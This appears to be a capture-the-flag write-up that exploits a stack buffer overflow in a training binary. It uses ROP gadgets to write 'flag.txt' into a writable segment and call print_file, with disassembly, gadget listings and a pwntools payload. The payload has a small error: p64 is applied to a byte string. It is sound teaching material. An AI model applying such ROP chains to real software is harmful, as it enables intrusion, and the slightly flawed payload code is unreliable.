Rather than being provided the direct opportunity to write to a memory location, this challenge forces us to use gadgets to discover the write-what-where privilege. This challenge is an extension of the Natural Jumps (x64) challenge.
This challenge provides an interesting difference to the last challenge: the presence of a library file. Not only does the challenge use the standard libc
, it also provides an external library containing core functions necessary to run the binary.
We can check the library files being used by using ldd
(List Dynamic Dependencies):
This shows us that the executable requires two libraries: libwrite4.so
and libc.so.6
. libwrite4.so
is a custom library containing custom functions and the PLT containing links to the C library functions.
It's arguably more secure as well because of ASLR. Because the address of library files are randomized with ASLR, we can't jump to those functions without knowing their address. It limits the number of gadgets we have to work with.
In order to disassembly pwnme
, we must run gdb
on the library file instead of the binary itself.
$ gdb libwrite4.so gef➤ disas pwnme Dump of assembler code for function pwnme: 0x00000000000008aa <+0>: push rbp 0x00000000000008ab <+1>: mov rbp,rsp 0x00000000000008ae <+4>: sub rsp,0x20 ...
From here, we see there's the same buffer overflow the other ROP Emporium challenges:
0x000000000000091e <+116>: lea rax,[rbp-0x20] 0x0000000000000922 <+120>: mov edx,0x200 0x0000000000000927 <+125>: mov rsi,rax 0x000000000000092a <+128>: mov edi,0x0 0x000000000000092f <+133>: call 0x770 <read@plt>
We notice a library function printFile
that's pretty interesting.
; assembly | /* r2dec pseudo code output */ | /* /ironforge/chall @ 0x7f450891c943 */ | #include <stdint.h> | ; (fcn) sym.print_file () | int64_t print_file (int64_t arg1) { | int64_t var_38h; | int64_t var_30h; | int64_t var_8h; | rdi = arg1; 0x7f450891c943 push rbp | 0x7f450891c944 mov rbp, rsp | 0x7f450891c947 sub rsp, 0x40 | 0x7f450891c94b mov qword [rbp - 0x38], rdi | *((rbp - 0x38)) = rdi; 0x7f450891c94f mov qword [rbp - 8], 0 | *((rbp - 8)) = 0; 0x7f450891c957 mov rax, qword [rbp - 0x38] | rax = *((rbp - 0x38)); 0x7f450891c95b lea rsi, [rip + 0xd5] | 0x7f450891c962 mov rdi, rax | 0x7f450891c965 call 0x7f450891c7a0 | rax = fopen (rax, 0x7f450891ca37); 0x7f450891c96a mov qword [rbp - 8], rax | *((rbp - 8)) = rax; 0x7f450891c96e cmp qword [rbp - 8], 0 | | if (*((rbp - 8)) == 0) { 0x7f450891c973 jne 0x7f450891c997 | 0x7f450891c975 mov rax, qword [rbp - 0x38] | rax = *((rbp - 0x38)); 0x7f450891c979 mov rsi, rax | rsi = *((rbp - 0x38)); 0x7f450891c97c lea rdi, [rip + 0xb6] | 0x7f450891c983 mov eax, 0 | eax = 0; 0x7f450891c988 call 0x7f450891c750 | printf ("Failed to open file: %s\n"); 0x7f450891c98d mov edi, 1 | 0x7f450891c992 call 0x7f450891c7b0 | exit (1); | } 0x7f450891c997 mov rdx, qword [rbp - 8] | 0x7f450891c99b lea rax, [rbp - 0x30] | rax = rbp - 0x30; 0x7f450891c99f mov esi, 0x21 | 0x7f450891c9a4 mov rdi, rax | 0x7f450891c9a7 call 0x7f450891c780 | fgets (rax, 0x21, *((rbp - 8))); 0x7f450891c9ac lea rax, [rbp - 0x30] | rax = rbp - 0x30; 0x7f450891c9b0 mov rdi, rax | 0x7f450891c9b3 call 0x7f450891c730 | puts (rax); 0x7f450891c9b8 mov rax, qword [rbp - 8] | rax = *((rbp - 8)); 0x7f450891c9bc mov rdi, rax | 0x7f450891c9bf call 0x7f450891c740 | fclose (*((rbp - 8))); 0x7f450891c9c4 mov qword [rbp - 8], 0 | *((rbp - 8)) = 0; 0x7f450891c9cc nop | 0x7f450891c9cd leave | 0x7f450891c9ce ret | return rax; | }
We see that this opens a file of our choice, reads it, and prints it out. This is perfect! All we need to do is pass flag.txt
to that function and we'll get the flag.
A quick search shows us that flag.txt
is not in the binary:
$ strings chall | grep flag < No output >
This introduces the challenge of write-what-where: we must write the flag.txt string to memory before we can call print_file
.
Because we need a gadget to write to memory, we need a mov
gadget. Let's use ROPgadget
and filter for mov
, pop
, and ret
gadgets.
$ ROPgadget --binary chall --only "mov|pop|ret" Gadgets information ============================================================ 0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret 0x0000000000400629 : mov dword ptr [rsi], edi ; ret 0x0000000000400610 : mov eax, 0 ; pop rbp ; ret 0x0000000000400628 : mov qword ptr [r14], r15 ; ret 0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400690 : pop r14 ; pop r15 ; ret 0x0000000000400692 : pop r15 ; ret 0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400588 : pop rbp ; ret 0x0000000000400693 : pop rdi ; ret 0x0000000000400691 : pop rsi ; pop r15 ; ret 0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004004e6 : ret Unique gadgets found: 15
Here, we see two mov
gadgets that do valuable things:
0x0000000000400629 : mov dword ptr [rsi], edi ; ret 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
These allow us to move a WORD
and QWORD
respectively into a location specified by a register. Fortunately, we have gadgets to control all these registers:
0x0000000000400691 : pop rsi ; pop r15 ; ret 0x0000000000400693 : pop rdi ; ret 0x0000000000400690 : pop r14 ; pop r15 ; ret
This means we have write-what-where! We can directly control registers that, from a gadget, allow us to write into memory. This means we have the following choices for write-what-where:
# option 1: write 4 bytes at a time 0x0000000000400693 : pop rdi ; ret 0x0000000000400691 : pop rsi ; pop r15 ; ret 0x0000000000400629 : mov dword ptr [rsi], edi ; ret # option 2: write 8 bytes at a time 0x0000000000400690 : pop r14 ; pop r15 ; ret 0x0000000000400628 : mov qword ptr [r14], r15 ; ret
Clearly, option 2 is a better choice. We can write more bytes at a time and it takes less jumps to accomplish the same goal. Either way, we will also need the pop rdi
gadget to load rdi
with the address of our string before calling print_file
.
We're missing a location to write to! There are plenty of ways to do this: my preferred way is using vmmap
. We must find an rw
segment inside the binary:
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /ironforge/chall
To ensure we're not overwriting something important, let's check the segment and find some empty space:
x/20gx 0x601000 0x601000: 0x0000000000600e00 0x00007ffff7ffe2e0 0x601010: 0x00007ffff7fd8d30 0x0000000000400506 0x601020 <print_file@got.plt>: 0x0000000000400516 0x0000000000000000 0x601030: 0x0000000000000000 0x0000000000000000 0x601040: 0x0000000000000000 0x0000000000000000 0x601050: 0x0000000000000000 0x0000000000000000 0x601060: 0x0000000000000000 0x0000000000000000 0x601070: 0x0000000000000000 0x0000000000000000 0x601080: 0x0000000000000000 0x0000000000000000 0x601090: 0x0000000000000000 0x0000000000000000
Since it appears empty, I will choose 0x601030
for my address to write to.
We should have all the information we need. Let's write a payload!
First, let's define some variables to represent the values we found:
g_ret = 0x4004E6 g_popRdi = 0x400693 g_popR14R15 = 0x400690 g_write15At14 = 0x400628 f_printFile = 0x400510 a_writeLoc = 0x0601030
Now, let's write the payload. First, overflow the buffer.
payload = b'A' * 40
Then, we must perform the write-what-where.
payload += p64(g_popR14R15) payload += p64(a_writeLoc) payload += p64(b'flag.txt') payload += p64(g_write15At14)
Finally, load the address of the string and call print_file
!
payload += p64(g_popRdi) payload += p64(a_writeLoc) payload += p64(f_printFile)
With this payload, we'll get the flag!